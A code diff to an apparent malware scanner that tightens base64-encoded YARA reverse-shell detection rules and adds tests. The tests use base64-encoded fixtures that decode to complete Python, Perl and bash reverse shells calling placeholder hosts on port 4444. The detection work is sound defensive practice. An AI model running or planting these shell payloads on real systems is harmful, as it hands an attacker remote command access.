diff --git a/src/skillspector/yara_rules/malware.yar.b64 b/src/skillspector/yara_rules/malware.yar.b64 index d0b072f41..7ff9dd315 100644 --- a/src/skillspector/yara_rules/malware.yar.b64 +++ b/src/skillspector/yara_rules/malware.yar.b64 @@ -12,8 +12,11 @@ X3JldnNoZWxsICAgID0gL2Jhc2hccystaVxzKz4mXHMqXC9kZXZcL3RjcFwvLyBub2Nhc2UNCiAg ICAgICAgJG5jX3NoZWxsICAgICAgICAgPSAvbmNccy4qLWVccypcL2JpblwvKGJhKT9zaC8gbm9j YXNlDQogICAgICAgICRuY2F0X3NoZWxsICAgICAgID0gL25jYXRccy4qLWVccypcL2JpblwvKGJh KT9zaC8gbm9jYXNlDQogICAgICAgICRweXRob25fc29ja2V0ICAgID0gL3NvY2tldFwuc29ja2V0 -XCguKlNPQ0tfU1RSRUFNLipcLmNvbm5lY3RcKC8NCiAgICAgICAgJHBlcmxfc29ja2V0ICAgICAg -PSAvdXNlXHMrU29ja2V0Oy4qc29ja2V0XHMqXChccypTT0NLLw0KICAgICAgICAkcGhwX2Zzb2Nr +XCguezAsNDAwfVNPQ0tfU1RSRUFNLnswLDQwMH1cLmNvbm5lY3RcKC57MCw0MDB9KG9zXC5kdXAy +XHMqXCh8c3VicHJvY2Vzc1wuKGNhbGx8UG9wZW58cnVuKVxzKlwoKS9zICAgICAgICAgICAgIA0K +ICAgICAgICAkcGVybF9zb2NrZXQgICAgICA9IC91c2VccytTb2NrZXQ7LnswLDQwMH1zb2NrZXRc +cypcKFxzKlNPQ0suezAsNDAwfShvcGVuXHMqXChccypTVEQoSU58T1VUfEVSUil8ZXhlY1xzKlwo +XHMqWyInXVwvYmluXC8oYmEpP3NoKS9zICAgICAgICAgICAgIA0KICAgICAgICAkcGhwX2Zzb2Nr ICAgICAgICA9IC9mc29ja29wZW5ccypcKC4qZXhlY1xzKlwoLyBub2Nhc2UNCiAgICAgICAgJHJ1 YnlfdGNwc29ja2V0ICAgPSAvVENQU29ja2V0XC5ccypuZXdccypcKC4qZXhlY1xzKlwoLw0KICAg ICAgICAkcG93ZXJzaGVsbF90Y3AgICA9IC9OZXctT2JqZWN0XHMrU3lzdGVtXC5OZXRcLlNvY2tl diff --git a/tests/nodes/analyzers/test_static_yara.py b/tests/nodes/analyzers/test_static_yara.py index 9022f2eec..29f9668d2 100644 --- a/tests/nodes/analyzers/test_static_yara.py +++ b/tests/nodes/analyzers/test_static_yara.py @@ -90,6 +90,34 @@ def _reverse_shell_fixture() -> str: return base64.b64decode("YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx").decode() +def _python_socket_shell_fixture() -> str: + """Complete Python reverse shell: socket client plus fd redirection and shell spawn. + + Base64-encoded per this module's antivirus-safety convention. + """ + return base64.b64decode( + "aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9z" + "CnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0p" + "CnMuY29ubmVjdCgoIjEwLjAuMC4xIiw0NDQ0KSkKb3MuZHVwMihzLmZpbGVubygpLDAp" + "Cm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJw" + "cm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSkK" + ).decode() + + +def _perl_socket_shell_fixture() -> str: + """Complete Perl reverse shell: socket client plus stdio redirection and shell exec. + + Base64-encoded per this module's antivirus-safety convention. + """ + return base64.b64decode( + "dXNlIFNvY2tldDsKJGk9IjEwLjAuMC4xIjskcD00NDQ0Owpzb2NrZXQoU09DS0VULFBG" + "X0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTsKY29ubmVjdChT" + "T0NLRVQsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpOwpvcGVuKFNURElOLCI+" + "JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwiPiZTT0NLRVQiKTsKb3BlbihTVERFUlIsIj4m" + "U09DS0VUIik7CmV4ZWMoIi9iaW4vc2ggLWkiKTsK" + ).decode() + + def _has_rule(findings: list, rule_name: str) -> bool: """Return True when a finding message references a specific YARA rule.""" return any(rule_name in f.message for f in findings) @@ -592,6 +620,34 @@ def test_builtin_malware_finding_preserved(self): assert _has_rule(findings, "reverse_shell") assert any(f.rule_id == "YR1" for f in findings) + @pytest.mark.parametrize( + "content, filename", + [ + (_python_socket_shell_fixture(), "shell.py"), + (_perl_socket_shell_fixture(), "shell.pl"), + ], + ) + def test_builtin_reverse_shell_matches_complete_socket_shells( + self, content: str, filename: str + ) -> None: + assert _has_rule(_run_builtin(content, filename), "reverse_shell") + + @pytest.mark.parametrize( + "content, filename", + [ + ( + "import socket\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" + 's.connect(("10.0.0.1", 4444))\n', + "client.py", + ), + ("use Socket;\nsocket(SOCKET, PF_INET, SOCK_STREAM, 6);\n", "client.pl"), + ], + ) + def test_builtin_reverse_shell_ignores_plain_socket_clients( + self, content: str, filename: str + ) -> None: + assert not _has_rule(_run_builtin(content, filename), "reverse_shell") + def test_extra_rules_still_match_with_builtin_malware_representation(self, tmp_path): _write_rule( tmp_path,